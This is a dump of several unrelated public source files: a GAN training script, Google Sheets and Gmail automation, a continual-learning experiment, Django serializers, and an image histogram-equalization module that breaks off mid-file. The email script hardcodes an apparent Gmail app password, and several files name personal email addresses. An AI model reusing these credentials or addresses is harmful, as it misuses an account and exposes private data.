+{"seq_id":"4543544984","text":"import time\nimport argparse\nimport os\nimport random\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.parallel\nimport torch.backends.cudnn as cudnn\nimport torch.optim as optim\nimport torch.utils.data\nimport torchvision.transforms as transforms\nimport torchvision.utils as vutils\nimport torch.autograd as autograd\nimport data_loader\nfrom torch.autograd import Variable\nfrom model import _G_xvz, _G_vzx, _D_xvs\nfrom itertools import *\nimport pdb\n\ndd = pdb.set_trace\n\nparser = argparse.ArgumentParser()\n\nparser.add_argument(\"-d\", \"--data_list\", type=str, default=\"./list.txt\")\nparser.add_argument(\"-ns\", \"--nsnapshot\", type=int, default=700)\nparser.add_argument(\"-b\", \"--batch_size\", type=int, default=64) # 16\nparser.add_argument(\"-lr\", \"--learning_rate\", type=float, default=1e-4)\nparser.add_argument(\"-m\" , \"--momentum\", type=float, default=0.) # 0.5\nparser.add_argument(\"-m2\", \"--momentum2\", type=float, default=0.9) # 0.999\nparser.add_argument('--outf', default='./output', help='folder to output images and model checkpoints')\nparser.add_argument('--modelf', default='./output', help='folder to output images and model checkpoints')\nparser.add_argument('--cuda', action='store_true', help='enables cuda', default=True)\nparser.add_argument('-j', '--workers', default=8, type=int, metavar='N',\n                    help='number of data loading workers (default: 8)')\nparser.add_argument('--epochs', default=25, type=int, metavar='N',\n                    help='number of total epochs to run')\n\n# Initialize networks\ndef weights_init(m):\n    classname = m.__class__.__name__\n    if classname.find('Conv') != -1:\n        m.weight.data.normal_(0.0, 0.02)\n    elif classname.find('BatchNorm') != -1:\n        m.weight.data.normal_(1.0, 0.02)\n        m.bias.data.fill_(0)\n    elif classname.find('LayerNorm') != -1:\n        m.weight.data.normal_(1.0, 0.02)\n        m.bias.data.fill_(0)\n    elif classname.find('Linear') != -1:\n        m.weight.data.normal_(0.0, 0.02)\n        m.bias.data.fill_(0)\n\nargs = parser.parse_args()\nprint(args)\n\ntry:\n    os.makedirs(args.outf)\nexcept OSError:\n    pass\n\nif torch.cuda.is_available() and not args.cuda:\n    print(\"WARNING: You have a CUDA device, so you should probably run with --cuda\")\n\n# need initialize!!\nG_xvz = _G_xvz()\nG_vzx = _G_vzx()\nD_xvs = _D_xvs()\n\nG_xvz.apply(weights_init)\nG_vzx.apply(weights_init)\nD_xvs.apply(weights_init)\n\n\ntrain_list = args.data_list\ntrain_loader = torch.utils.data.DataLoader(\n    data_loader.ImageList( train_list, transform=transforms.Compose([\n        transforms.ToTensor(),\n        transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5)) ])),\n    batch_size=args.batch_size, shuffle=True,\n    num_workers=args.workers, pin_memory=True)\n\ndef L1_loss(x, y):\n    return torch.mean(torch.sum(torch.abs(x-y), 1))\n\nv_siz = 9\nz_siz = 128-v_siz\nx1 = torch.FloatTensor(args.batch_size, 3, 128, 128)\nx2 = torch.FloatTensor(args.batch_size, 3, 128, 128)\nv1 = torch.FloatTensor(args.batch_size, v_siz)\nv2 = torch.FloatTensor(args.batch_size, v_siz)\nz = torch.FloatTensor(args.batch_size, z_siz)\n\nif args.cuda:\n    G_xvz = torch.nn.DataParallel(G_xvz).cuda()\n    G_vzx = torch.nn.DataParallel(G_vzx).cuda()\n    D_xvs = torch.nn.DataParallel(D_xvs).cuda()\n    x1 = x1.cuda()\n    x2 = x2.cuda()\n    v1 = v1.cuda()\n    v2 = v2.cuda()\n    z = z.cuda()\n\nx1 = Variable(x1)\nx2 = Variable(x2)\nv1 = Variable(v1)\nv2 = Variable(v2)\nz = Variable(z)\n\ndef load_model(net, path, name):\n    state_dict = torch.load('%s/%s' % (path,name))\n    own_state = net.state_dict()\n    for name, param in state_dict.items():\n        if name not in own_state:\n            print('not load weights %s' % name)\n            continue\n        own_state[name].copy_(param)\n        print('load weights %s' % name)\n\n#load_model(G_xvz, args.modelf, 'netG_xvz_epoch_24_699.pth')\n#load_model(G_vzx, args.modelf, 'netG_vzx_epoch_24_699.pth')\n#load_model(D_xvs, args.modelf, 'netD_xvs_epoch_24_699.pth')\n\nlr = args.learning_rate\nourBetas = [args.momentum, args.momentum2]\nbatch_size = args.batch_size\nsnapshot = args.nsnapshot\nstart_time = time.time()\n\nG_xvz_solver = optim.Adam(G_xvz.parameters(), lr = lr, betas=ourBetas)\nG_vzx_solver = optim.Adam(G_vzx.parameters(), lr = lr, betas=ourBetas)\nD_xvs_solver = optim.Adam(D_xvs.parameters(), lr = lr, betas=ourBetas)\n\ncudnn.benchmark = True\n\ncrossEntropyLoss = nn.CrossEntropyLoss().cuda()\n\nfor epoch in range(args.epochs):\n    for i, (view1, view2, data1, data2) in enumerate(train_loader):\n        # our framework:\n        # path 1: (v, z)-->G_vzx-->x_bar--> D_xvs( (v,x_bar), (v,x) )\n        # This path to make sure G_vzx can generate good quality images with any random input\n        # path 2: x-->G_xvz-->(v_bar, z_bar)-->G_vzx-->x_bar_bar--> D_xvs( (v,x_bar_bar), (v,x) ) + L1_loss(x_bar_bar, x)\n        # This path to make sure G_xvz is the reverse of G_vzx\n        eps = random.uniform(0, 1)\n        tmp = random.uniform(0, 1)\n        reconstruct_fake = False\n        if tmp < 0.5:\n            reconstruct_fake = True\n\n        D_xvs.zero_grad()\n        G_xvz.zero_grad()\n        G_vzx.zero_grad()\n\n        img1 = data1\n        img2 = data2\n\n        # get x-->real image v--> view and z-->random vector\n        x1.data.resize_(img1.size()).copy_(img1)\n        x2.data.resize_(img2.size()).copy_(img2)\n        v1.data.zero_()\n        v2.data.zero_()\n\n        for d in range(view1.size(0)):\n            v1.data[d][view1[d]] = 1\n\n        for d in range(view2.size(0)):\n            v2.data[d][view2[d]] = 1\n\n        z.data.uniform_(-1, 1) # random z\n        \n        targetNP = v1.cpu().data.numpy()\n        idxs = np.where(targetNP>0)[1]\n        tmp = torch.LongTensor(idxs)\n        vv1 = Variable(tmp).cuda() # v1 target\n\n        targetNP = v2.cpu().data.numpy()\n        idxs = np.where(targetNP>0)[1]\n        tmp = torch.LongTensor(idxs)\n        vv2 = Variable(tmp).cuda() # v2 target\n        \n        ## path 1: (v, z)-->G_vzx-->x_bar--> D_xvs( (v,x_bar), (v,x_real) )\n        # path 1, update D_xvs\n        x_bar = G_vzx(v1, z) # random z to generate img x_bar\n\n        x_hat = eps*x1.data + (1-eps)*x_bar.data # interpolation of x_bar and x1\n        x_hat = Variable(x_hat, requires_grad=True)\n        D_x_hat_v, D_x_hat_s = D_xvs(x_hat)\n\n        grads = autograd.grad(outputs = D_x_hat_s,\n                              inputs = x_hat,\n                              grad_outputs = torch.ones(D_x_hat_s.size()).cuda(),\n                              retain_graph = True,\n                              create_graph = True,\n                              only_inputs = True)[0]\n        grad_norm = grads.pow(2).sum().sqrt()\n        gp_loss = torch.mean((grad_norm - 1) ** 2) # gradient with v1\n\n        x_bar_loss_v, x_bar_loss_s = D_xvs(x_bar.detach()) # score of x_bar\n        x_bar_loss_s = x_bar_loss_s.mean()\n\n        x_loss_v, x_loss_s = D_xvs(x1) # score of x1\n        x_loss_s = x_loss_s.mean()\n\n        v_loss_x = crossEntropyLoss(x_loss_v, vv1) # ACGAN loss of x1(v1)\n        \n        d_xvs_loss = x_bar_loss_s - x_loss_s + 10. * gp_loss + v_loss_x # x1 real sample, x_bar fake sample\n        d_xvs_loss.backward()\n        D_xvs_solver.step()\n\n        # path 1, update G_vzx\n        D_xvs.zero_grad()\n        G_xvz.zero_grad()\n        G_vzx.zero_grad()\n\n        x_bar_loss_v, x_bar_loss_s = D_xvs(x_bar) # score of x_bar\n        x_bar_loss_s = x_bar_loss_s.mean()\n\n        v_loss_x_bar = crossEntropyLoss(x_bar_loss_v, vv1) # ACGAN loss of x_bar(v1)\n\n        g_vzx_loss = -x_bar_loss_s + v_loss_x_bar\n        g_vzx_loss.backward()\n        G_vzx_solver.step()\n\n        ## path 2: x-->G_xvz-->(v_bar, z_bar)-->G_vzx-->x_bar_bar--> D_xvs( (v,x_bar_bar), (v,x) ) + L1_loss(x_bar_bar, x)\n        # path 2, update D_x\n        D_xvs.zero_grad()\n        G_xvz.zero_grad()\n        G_vzx.zero_grad()\n\n        if reconstruct_fake is True:\n            v_bar, z_bar = G_xvz(x_bar.detach())\n            x_bar_bar = G_vzx(v1, z_bar)\n            x_hat = eps*x1.data + (1-eps)*x_bar_bar.data # interpolation of x1 and x_bar_bar\n        else:\n            v_bar, z_bar = G_xvz(x1) # view invariant part of x1 \n            x_bar_bar = G_vzx(v2, z_bar) # x_bar_bar: reconstruction of x2\n            x_hat = eps*x2.data + (1-eps)*x_bar_bar.data # interpolation of x2 and x_bar_bar\n        \n        x_hat = Variable(x_hat, requires_grad=True)\n        D_x_hat_v, D_x_hat_s = D_xvs(x_hat)\n\n        grads = autograd.grad(outputs = D_x_hat_s,\n                              inputs = x_hat,\n                              grad_outputs = torch.ones(D_x_hat_s.size()).cuda(),\n                              retain_graph = True,\n                              create_graph = True,\n                              only_inputs = True)[0]\n        grad_norm = grads.pow(2).sum().sqrt()\n        gp_loss = torch.mean((grad_norm - 1) ** 2)\n        \n        x_loss_v, x_loss_s = D_xvs(x2)\n        x_loss_s = x_loss_s.mean()\n        x_bar_bar_loss_v, x_bar_bar_loss_s = D_xvs(x_bar_bar.detach()) # x_bar_bar score\n        x_bar_bar_loss_s = x_bar_bar_loss_s.mean()\n        \n        v_loss_x = crossEntropyLoss(x_loss_v, vv2) # ACGAN loss of x2(v2)\n\n        d_x_loss = x_bar_bar_loss_s - x_loss_s + 10. * gp_loss + v_loss_x\n        d_x_loss.backward()\n        D_xvs_solver.step()\n\n        # 2st path, update G_xvz\n        x_bar_bar_loss_v, x_bar_bar_loss_s = D_xvs(x_bar_bar) # x_bar_bar score\n        x_bar_bar_loss_s = x_bar_bar_loss_s.mean()\n        \n        if reconstruct_fake is True:\n            x_l1_loss = L1_loss(x_bar_bar, x_bar.detach())\n            v_loss_x_bar_bar = crossEntropyLoss(x_bar_bar_loss_v, vv1) # ACGAN loss of x_bar_bar(v1)\n        else:\n            x_l1_loss = L1_loss(x_bar_bar, x2) # L1 loss between x_bar_bar and x2\n            v_loss_x_bar_bar = crossEntropyLoss(x_bar_bar_loss_v, vv2) # ACGAN loss of x_bar_bar(v2)\n        \n        v_loss_x = crossEntropyLoss(v_bar, vv1)\n        g_loss = -x_bar_bar_loss_s + 4*x_l1_loss + v_loss_x_bar_bar + 0.01*v_loss_x \n        g_loss.backward()\n\n\n        if reconstruct_fake is False:\n            G_vzx_solver.step()\n        \n        G_xvz_solver.step()\n\n        print(\"Epoch: [%2d] [%4d/%4d] time: %4.4f, \"\n              \"loss_D_vx: %.4f, loss_D_x: %.4f, loss_G: %.4f\"\n              % (epoch, i, len(data1), time.time() - start_time,\n                 d_xvs_loss.data[0], d_x_loss.data[0], g_loss.data[0]))\n        if i % snapshot == snapshot-1:\n            vutils.save_image(x_bar.data,\n                              '%s/x_bar_epoch_%03d_%04d.png' % (args.outf, epoch, i),normalize=True)\n            vutils.save_image(x_bar_bar.data,\n                              '%s/x_bar_bar_epoch_%03d_%04d.png' % (args.outf, epoch, i),normalize=True)\n            vutils.save_image(x1.data,\n                    '%s/x1_epoch_%03d_%04d.png' % (args.outf, epoch, i),normalize=True)\n            vutils.save_image(x2.data,\n                    '%s/x2_epoch_%03d_%04d.png' % (args.outf, epoch, i),normalize=True)\n\n            torch.save(G_xvz.state_dict(), '%s/netG_xvz_epoch_%d_%d.pth' % (args.outf, epoch, i))\n            torch.save(G_vzx.state_dict(), '%s/netG_vzx_epoch_%d_%d.pth' % (args.outf, epoch, i))\n            torch.save(D_xvs.state_dict(), '%s/netD_xvs_epoch_%d_%d.pth' % (args.outf, epoch, i))\n\n","repo_name":"bluer555/CR-GAN","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":11216,"program_lang":"python","lang":"en","doc_type":"code","stars":118,"dataset":"github-code","pt":"21"}
+{"seq_id":"17197611559","text":"#coding : utf-8\nimport gspread\nfrom oauth2client.service_account import ServiceAccountCredentials\n\nscope = [\n\t'https://spreadsheets.google.com/feeds',\n\t'https://www.googleapis.com/auth/drive'\n]\n\nprint(type(scope))\n\ncredentials = ServiceAccountCredentials.from_json_keyfile_name('cred.json', scope)\n\ngc = gspread.authorize(credentials)\n\ngsheet = gc.create('테스트문서-ver3+2')\n\n#gsheet.share('viharaty@gmail.com','user','reader/writer')\ngsheet.share('viharaty@gmail.com','user','owner')\ngsheet.share('woncocoa@gmail.com','user','writer')\n\nworksheet = gsheet.add_worksheet('추가시트1', '1', '1')\n\nfor i in range(10):\n    worksheet.insert_row([str(i)+'Data'],1)","repo_name":"viharati/fc_python","sub_path":"06/6th-9_gc.create_share.py","file_name":"6th-9_gc.create_share.py","file_ext":"py","file_size_in_byte":667,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"72242811892","text":"import numpy as np\nimport fcn\nfrom cvxopt import matrix, solvers\n\n\ndef get_batch(data, labels, batchsize, is_test_set=False):\n    if is_test_set is False:\n        rand_i = np.random.permutation(len(data))\n    else:\n        rand_i = range(len(data))\n    rand_data = []\n    rand_labels = []\n    shift = 0\n    for i in rand_i:\n        rand_data.append(data[i])\n        rand_labels.append(labels[i])\n        shift += 1\n        if shift % batchsize == 0 or shift >= len(data):\n            yield rand_data, rand_labels\n            rand_data = []\n            rand_labels = []\n\n\nmnist0to4 = np.load('DisjointMNIST/mnist0to4.npz')\nmnist5to9 = np.load('DisjointMNIST/mnist5to9.npz')\n\ntrain_set_59 = mnist5to9[\"train_data\"].tolist()\ntrain_set_labels_59 = mnist5to9[\"train_labels\"].tolist()\ntest_set_59 = mnist5to9[\"test_data\"].tolist()\ntest_set_labels_59 = mnist5to9[\"test_labels\"].tolist()\n\ntrain_set_04 = mnist0to4[\"train_data\"].tolist()\ntrain_set_labels_04 = mnist0to4[\"train_labels\"].tolist()\ntest_set_04 = mnist0to4[\"test_data\"].tolist()\ntest_set_labels_04 = mnist0to4[\"test_labels\"].tolist()\n\n\nnet_arc = [784, 79, 11, 5]\nnet = fcn.Fully_Connected_Network(net_arc, [\"sigmoid\", \"sigmoid\", \"softmax\"])\nnet.restore('Models/model_gem/')\n\n# hyper_parameters\nlr = 1e-3\nbatch_size = 1000\nprint(\"learning_rate =\", lr, \"    batch_size =\", batch_size)\n\n# before training\ntest_batch_generator = get_batch(test_set_04, test_set_labels_04, batch_size, is_test_set=True)\nsum_lo = 0\nsum_acc = 0\nfor (data, labels) in test_batch_generator:\n    _, correct_soft, correct_sign = net.prediction(data, labels)\n    sum_acc += correct_soft\ntest_acc1 = sum_acc / len(test_set_labels_04)\nbest_acc = test_acc1\nprint(\"before t1, test_t1_acc:\", test_acc1)\n\n# training task 1\nfor ei in range(0, 300):\n    train_batch_generator = get_batch(train_set_04, train_set_labels_04, batch_size)\n    for (data, labels) in train_batch_generator:\n        net.training(data, labels, lr)\n    # eval\n    test_batch_generator = get_batch(test_set_04, test_set_labels_04, batch_size, is_test_set=True)\n    sum_lo = 0\n    sum_acc = 0\n    for (data, labels) in test_batch_generator:\n        _, correct_soft, correct_sign = net.prediction(data, labels)\n        sum_acc += correct_soft\n        lo = net.get_loss(data, labels)\n        sum_lo += lo\n    test_acc = sum_acc / len(test_set_labels_04)\n    test_lo = sum_lo / len(test_set_labels_04)\n    print(ei, \"test_acc:\", test_acc, \"test_loss:\", test_lo)\n    if test_acc > best_acc:\n        best_acc = test_acc\n        net.save('Models/model_gem/')\n        print(\"saved.\")\nexit()\n\n\n# training task 2\nlr = 1e-3\nbatch_size = 1000\ntest_batch_generator = get_batch(test_set_59, test_set_labels_59, batch_size, is_test_set=True)\nsum_lo = 0\nsum_acc = 0\nfor (data, labels) in test_batch_generator:\n    _, correct_soft, correct_sign = net.prediction(data, labels)\n    sum_acc += correct_soft\ntest_acc2 = sum_acc / len(test_set_labels_59)\nbest_acc = test_acc1 * 0.5139 + test_acc2 * 0.4861\nprint(\"before t2, test_t2_acc:\", test_acc2)\nprint(\"best_average_acc:\", best_acc)\n\n\nfor ei in range(0, 1000):\n    train_batch_generator = get_batch(train_set_59, train_set_labels_59, batch_size)\n    for (data, labels) in train_batch_generator:\n        # old tasks gradients\n        grad_list = net.get_grads(train_set_04[:2570], train_set_labels_04[:2570])\n        _g = np.array([])\n        for i in range(len(grad_list)):\n            g_shape = np.shape(grad_list[i])\n            dim = 1\n            for di in g_shape:\n                dim *= di\n            _g = np.concatenate([_g, np.reshape(grad_list[i], dim)], axis=0)\n        G = - np.expand_dims(_g, axis=0)\n\n        # new task gradients\n        grad_list = net.get_grads(data, labels)\n        g_new_task_only = np.array([])\n        for i in range(len(grad_list)):\n            g_shape = np.shape(grad_list[i])\n            dim = 1\n            for di in g_shape:\n                dim *= di\n            g_new_task_only = np.concatenate([g_new_task_only, np.reshape(grad_list[i], dim)], axis=0)\n        g_t = - np.expand_dims(g_new_task_only, axis=0)\n        # qp\n        qp_P = matrix(np.matmul(G, np.transpose(G)).tolist())\n        qp_q = matrix(np.matmul(g_t, np.transpose(G))[0].tolist())\n        qp_G = matrix([[-1.0]])\n        qp_h = matrix([0.0])\n        result = solvers.qp(qp_P, qp_q, G=qp_G, h=qp_h, solvers='mosek')\n        v = result['x'][0] + 1e-3\n        grad_for_update = _g * v + g_new_task_only\n        inner_product = np.matmul(grad_for_update, np.transpose(_g))\n        print('v:', result['x'][0], v, \"g*G:\", qp_q, \"inner product:\", inner_product)\n        if inner_product < 0:\n            print(\"error\")\n        else:\n            net.apply_grads(grad_for_update, lr)\n    # eval task1\n    test_batch_generator = get_batch(test_set_04, test_set_labels_04, batch_size, is_test_set=True)\n    sum_lo = 0\n    sum_acc = 0\n    for (data, labels) in test_batch_generator:\n        _, correct_soft, correct_sign = net.prediction(data, labels)\n        sum_acc += correct_soft\n        lo = net.get_loss(data, labels)\n        sum_lo += lo\n    test_acc1 = sum_acc / len(test_set_labels_04)\n    test_lo1 = sum_lo / len(test_set_labels_04)\n    print(ei, \"test_t1_acc:\", test_acc1, \"test_t1_loss:\", test_lo1)\n    # eval task2\n    test_batch_generator = get_batch(test_set_59, test_set_labels_59, batch_size, is_test_set=True)\n    sum_lo = 0\n    sum_acc = 0\n    for (data, labels) in test_batch_generator:\n        _, correct_soft, correct_sign = net.prediction(data, labels)\n        sum_acc += correct_soft\n        lo = net.get_loss(data, labels)\n        sum_lo += lo\n    test_acc2 = sum_acc / len(test_set_labels_59)\n    test_lo2 = sum_lo / len(test_set_labels_59)\n    print(ei, \"test_t2_acc:\", test_acc2, \"test_t2_loss:\", test_lo2)\n    # save\n    avg_acc = test_acc1 * 0.5139 + test_acc2 * 0.4861\n    if avg_acc > best_acc:\n        best_acc = avg_acc\n        print(\"best_average_acc:\", best_acc)\n        net.save('Models/model_gem/')\n        print(\"saved.\")\n\n","repo_name":"xmZhangZeyang/SGBAN","sub_path":"Other_Methods/GEM/DisjointMNIST_GEM.py","file_name":"DisjointMNIST_GEM.py","file_ext":"py","file_size_in_byte":5984,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"3827012376","text":"class UserLinks():\n    '''\n    Returns the appropriate links for the user,\n    and their states (done / next / disabled)\n    '''\n\n    def __init__(self, user):\n        self.user = user\n\n    def get_links(self):\n        links = [\n                ('/upload/', 'Upload Data and Config Files', 'done'),\n                ('/manual_config/', 'Configure Manually (optional)', 'next'),\n                ('/graph/', 'Display Causal Graph', 'disabled'),\n                ]\n        return links\n","repo_name":"ranmoshe/csq_interface","sub_path":"csq_interface/csq_interface/userlinks.py","file_name":"userlinks.py","file_ext":"py","file_size_in_byte":481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"71638001332","text":"import smtplib\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\nfrom email.mime.image import MIMEImage\nfrom email.mime.base import MIMEBase\nfrom email import encoders\n\ndef sendEmail(to, content):\n    msg = MIMEMultipart()\n    msg['Subject'] = 'Mess Token'\n    msg['From'] = 'tecboy2020@gmail.com'\n    msg['To'] = to\n    server = smtplib.SMTP('smtp.gmail.com', 587)\n    server.ehlo()\n    server.starttls()\n    body=\"Mess Token\"\n    msgText = MIMEText('<b>%s</b>' % (body), 'html')\n    msg.attach(msgText)\n    # Enable low security in gmail\n      # Open PDF file in binary mode\n    filename=\"mess.png\"\n    with open(filename, \"rb\") as attachment:\n        part = MIMEBase(\"application\", \"octet-stream\")\n        part.set_payload(attachment.read())\n    encoders.encode_base64(part)\n\n    part.add_header(\n                    \"Content-Disposition\",\n                    f\"attachment; filename= {filename}\",\n            )\n\n    msg.attach(part)\n    server.login('tecboy2020@gmail.com', 'pjlndpderifzsjgx')\n    server.sendmail('tecboy2020@gmail.com', to, msg.as_string())\n    server.close()\n    print(\"successfully\")\nsendEmail('arunsundarkongu@gmail.com',\"\")\n","repo_name":"dharunsri/kncet-mess","sub_path":"python_server/sendQRtoMail.py","file_name":"sendQRtoMail.py","file_ext":"py","file_size_in_byte":1183,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"20584913267","text":"from rest_framework import serializers\n\nimport json\nfrom base64 import b64encode\nfrom django.contrib.gis.geos import GEOSGeometry\n\nfrom apps.catastro.models import Ciudad\nfrom apps.core.models import Linea, Parada\nfrom copy import copy\n\n\nclass CiudadSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = Ciudad\n        fields = (\n            'id',\n            'nombre',\n            'slug',\n            'centro',\n            'activa',\n            'img_panorama',\n            'img_cuadrada',\n        )\n\n\nclass LineaSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = Linea\n        fields = (\n            'id',\n            'nombre',\n            'slug',\n            'ciudad_set',\n        )\n\n\nclass RouterResultSerializer(serializers.Serializer):\n\n    def to_representation(self, obj):\n        if not hasattr(obj, 'id2'):\n            return {\n                \"id\": obj.id,\n                \"itinerario\": [\n                    {\n                        \"id\": obj.id,\n                        \"ruta_corta\": b64encode(obj.ruta_corta),\n                        \"long_bondi\": obj.long_ruta,\n                        \"long_pata\": obj.long_pata,\n                        \"color_polilinea\": obj.color_polilinea,\n                        \"inicio\": obj.inicio,\n                        \"fin\": obj.fin,\n                        \"nombre\": obj.nombre,\n                        \"foto\": obj.foto,\n                        \"p1\": getParada(obj.p1),\n                        \"p2\": getParada(obj.p2),\n                        \"url\": obj.get_absolute_url()\n                    }\n                ]\n            }\n        else:\n            return {\n                \"id\": str(obj.id) + str(obj.id2),\n                \"itinerario\": [\n                    {\n                        \"id\": obj.id,\n                        \"ruta_corta\": b64encode(obj.ruta_corta),\n                        \"long_bondi\": obj.long_ruta,\n                        \"long_pata\": obj.long_pata,\n                        \"color_polilinea\": obj.color_polilinea,\n                        \"inicio\": obj.inicio,\n                        \"fin\": obj.fin,\n                        \"nombre\": obj.nombre,\n                        \"foto\": obj.foto,\n                        \"p1\": getParada(obj.p11ll),\n                        \"p2\": getParada(obj.p12ll),\n                        \"url\": obj.get_absolute_url(None, None, obj.slug)\n                    },\n                    {\n                        \"id\": obj.id2,\n                        \"ruta_corta\": b64encode(obj.ruta_corta2),\n                        \"long_bondi\": obj.long_ruta2,\n                        \"long_pata\": obj.long_pata2,\n                        \"color_polilinea\": obj.color_polilinea2,\n                        \"inicio\": obj.inicio2,\n                        \"fin\": obj.fin2,\n                        \"nombre\": obj.nombre2,\n                        \"foto\": obj.foto2,\n                        \"p1\": getParada(obj.p21ll),\n                        \"p2\": getParada(obj.p22ll),\n                        \"url\": obj.get_absolute_url(None, None, obj.slug2)\n                    }\n                ]\n            }\n\n\ndef getParada(parada_id):\n    if parada_id is None:\n        return None\n    else:\n        p = Parada.objects.get(pk=parada_id)\n        return {\n            \"latlng\": p.latlng.geojson,\n            \"codigo\": p.codigo,\n            \"nombre\": p.nombre\n        }\n\n\nclass RecorridoSerializer(serializers.Serializer):\n\n    def to_representation(self, obj):\n        ruta = copy(obj.ruta)\n        ruta.transform(3857)\n        length = ruta.length\n        return {\n            'id': obj.id,\n            'nombre': obj.nombre,\n            'nombre_linea': obj.linea.nombre,\n            'color_polilinea': obj.color_polilinea,\n            'sentido': obj.sentido,\n            'descripcion': obj.descripcion,\n            'inicio': obj.inicio,\n            'fin': obj.fin,\n            'ruta': b64encode(obj.ruta.wkt),\n            'long_ruta': length,\n            'foto': obj.foto,\n            'url': obj.get_absolute_url(None, None, obj.slug),\n        }\n\n\nclass GeocoderSerializer(serializers.Serializer):\n    nombre = serializers.ReadOnlyField()\n    geom = serializers.SerializerMethodField()\n    precision = serializers.ReadOnlyField()\n    tipo = serializers.ReadOnlyField()\n\n    def get_geom(self, obj):\n        return json.loads(GEOSGeometry(obj['geom'], srid=4326).geojson)\n","repo_name":"cualbondi/old-web","sub_path":"apps/api2/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":4372,"program_lang":"python","lang":"es","doc_type":"code","stars":6,"dataset":"github-code","pt":"21"}
+{"seq_id":"43494906205","text":"import numpy as np\nimport cv2\nimport os\nimport matplotlib.pyplot as plt\nfrom tqdm import tqdm\nimport json \n\nclass GrayLevel_histogramEqualizer :\n    \n    def __init__(self) -> None:\n        pass\n    \n    def transform(self, img:np.ndarray, spatial=\"global\", needhist=False, **kwarg)->np.ndarray:\n\n        if spatial == \"global\":\n            return self.__global_hiseq(\n                img=img,need_hist=needhist\n            )\n        elif spatial == \"local\":\n            return self.__local_hiseq(\n                img = img,need_hist=needhist, \n                bsize=kwarg['bsize']\n            )\n\n    def __count(self, img:np.ndarray)->np.ndarray:\n        \"\"\"\n        return p[rk] = nk\n        \"\"\" \n        p = np.bincount(img.flatten(), minlength=256)\n        return p\n    \n    def __hiseq(self,img:np.ndarray)->np.ndarray:\n\n        p = self.__count(img=img)\n        cdf= np.cumsum(p/img.size)\n        hist = (np.clip(cdf*255, 0, 255)).astype(np.uint8)\n        return p, hist\n    \n    def __global_hiseq(self, img:np.ndarray, need_hist=False)->tuple:\n        \n        h0, histogram = self.__hiseq(img=img)\n        m,n = img.shape\n        img_hiseq = np.zeros((m*n), dtype=np.uint8)\n        for i,pi in enumerate(img.flatten()):\n            img_hiseq[i] = histogram[pi]\n        \n        img_hiseq = img_hiseq.reshape((m,n))\n       \n        if not need_hist:\n            return img_hiseq\n        \n        return {\n            'origin':h0.astype(np.uint16).tolist(), \n            'transform':self.__count(img_hiseq).astype(np.uint16).tolist()\n        }, img_hiseq\n\n    def __local_hiseq(self, img:np.ndarray,bsize:int, need_hist=False)->tuple:\n    \n        img_hiseq=np.copy(img)\n        hist = []\n        for i in range(0, img.shape[1], bsize):\n            for j in range(0, img.shape[0], bsize):\n                #print(f\"{i}-{i+bsize}, {j}-{j+bsize}\") \n                subimg = img[i:i+bsize, j:j+bsize]\n                subimg_ = None\n                if need_hist:\n                    b_h0, subimg_=self.__global_hiseq(img=subimg, need_hist=need_hist)\n                    hist.append(b_h0)\n                else: \n                    subimg_=self.__global_hiseq(img=subimg, need_hist=need_hist)\n                \n                img_hiseq[i:i+bsize, j:j+bsize] = subimg_\n                \n        if not need_hist:\n            return img_hiseq\n        \n        return {\n            \"blocks\":hist, \n            \"all\":{\n                'origin':self.__count(img).tolist(), \n                'transform':self.__count(img_hiseq).tolist()\n            }\n        }, img_hiseq\n\ndef makepath(p)->os.PathLike:\n    if not os.path.exists(p):\n        os.mkdir(p)\n    return p\n\ndef histogramequalization(imgs_info:list, savedir=None, spatial=\"global\", needresult=False, needhist=False, **kwarg):\n    \n    bar = tqdm(imgs_info)\n    hist_eqer = GrayLevel_histogramEqualizer()\n    hist = []\n    result = []\n\n    for img_info in bar:\n        h = None\n        bar.set_postfix_str(f\"{spatial} hist eq for {img_info['name']}\")\n        if needhist:\n            h ,img_ = hist_eqer.transform(img_info['img'], spatial, needhist, **kwarg)\n            hist.append(h)\n        else:\n            img_ = hist_eqer.transform(img_info['img'], spatial,needhist, **kwarg)\n        result.append(img_)\n        bar.set_postfix_str(f\"ok ..\")\n    \n        if savedir is not None:\n            \n            thisimg_sp = makepath(os.path.join(savedir,f\"{img_info['name']}\"))\n            \n            imgsavepath = os.path.join(thisimg_sp,f\"{img_info['name']}.{img_info['type']}\")\n            if not cv2.imwrite(imgsavepath, img_):\n                print(f\"problem for saving {img_info['name']}\")\n            \n            if needhist:\n                with open(os.path.join(thisimg_sp, \"hist.json\"), \"w+\") as jf:\n                    json.dump(h,jf, indent=4, ensure_ascii=False)\n\n    if needresult:\n        if needhist:\n            return result, hist\n        return result\n    else:\n        if needhist:\n            return hist\n\ndef hist_barchart(data, block:tuple, savepath, term)->None:\n\n    fig = plt.figure(dpi=800)\n    pid = 1\n    gray = np.arange(256)\n    for i in range(block[0]):\n        for j in range(block[1]):\n            ax0 = fig.add_subplot(block[0], block[1], pid)\n            l1 =ax0.bar(gray, data[pid-1]['origin'], color='blue',alpha=0.5, label=\"ori\")\n            l2 =ax0.bar(gray, data[pid-1]['transform'], color='red',alpha=0.5, label=\"tra\")\n            pid+=1\n        \n    plt.legend([l1, l2],['origin','transform'], loc='upper right')\n    plt.tight_layout()\n    plt.savefig(os.path.join(savepath,f\"histogram{term}.jpg\"))\n    plt.close()\n\n\nif __name__ == \"__main__\":\n    \n    print(\"read images ..\", end=\" \", flush=True)\n    p1 = cv2.imread(\n        os.path.join(\"HW1_test_image\",\"Lena.bmp\"),\n        cv2.IMREAD_GRAYSCALE\n    )\n    p2 = cv2.imread(\n        os.path.join(\"HW1_test_image\",\"Peppers.bmp\"),\n        cv2.IMREAD_GRAYSCALE\n    )\n    print(\"ok ..\")\n\n    imglist = [\n        {'name':'Lena', 